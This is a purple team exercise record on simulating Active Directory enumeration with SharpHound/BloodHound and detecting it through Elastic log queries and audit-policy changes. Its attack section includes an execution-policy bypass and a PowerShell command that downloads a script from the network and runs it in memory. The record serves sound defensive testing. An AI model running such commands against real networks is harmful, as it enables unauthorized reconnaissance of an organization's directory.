Purple Team Lifecycle

Overall
Status: **Completed**

PB1120 - Active Directory Enumeration

Lifecycle Project Manager
Kent Ickler
Office: 605-939-0331
Email: kent@defensiveorigins.com

- Lifecycle Kickoff: 2/1/2021
- Simulation Start: 2/3/2021
- Simulation End: 2/6/2021
- Configuration Identified: 11/29/2020
- Change Management Referred: 2/6/2021
- Configuration Deployed: TBD

Status Code Legend
- Attack Simulation
- Defense Simulation
- System Configuration Change
- Information

APT Lifecycle Ingest and Research	• Lifecycle Type: **Attack Simulation** • Lifecycle Objective: **Alert**	• Ingest Source: T1087.002 – Account Discovery • https://attack.mitre.org/techniques/T1087/002/
	• Use AD Enumeration tool(s) to extract information from Active Directory with a session. Hunt for the execution of data enumeration tools. Alert accordingly.	

Attack methodology	• Launch SharpHound AD Enumeration tool from disk. Invoke Bloodhound.
	`Set-ExecutionPolicy bypass -Scope CurrentUser (answer with a "y")`
	`Import-Module .\SharpHound.ps1`
	`Invoke-BloodHound`
	• Launch SharpHound AD Enumeration tool from memory. Invoke Bloodhound.
	`powershell.exe -ep bypass`
	`IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1')`
	`Invoke-BloodHound`	

Defense methodology	• Review the optics stack to identify what occurred when the invoke was executed Elastic Queries: • event_id: 4624 or event_id: 4625 • iex or invoke or import or github* • event_id: 4728 or event_id: 4732 or event_id: 4756 and event_id: 4764 • event_id: 4667	
Lifecycle Adjustments	• Enable additional audit policies • Improve detection capabilities	
Change Management	• Deploy updated logging adjustments as defined to production optics stack. • Audit: Security Group Management: Success / Failure • Audit: Directory service changes: Success / Failure	

	• Audit: Directory service access: Success / Failure
Lessons Learned	• It is difficult to stop the enumeration of objects in AD by an authenticated session due to how the Directory Service operates. Emphasis on this lifecycle is to hunt and alert accordingly.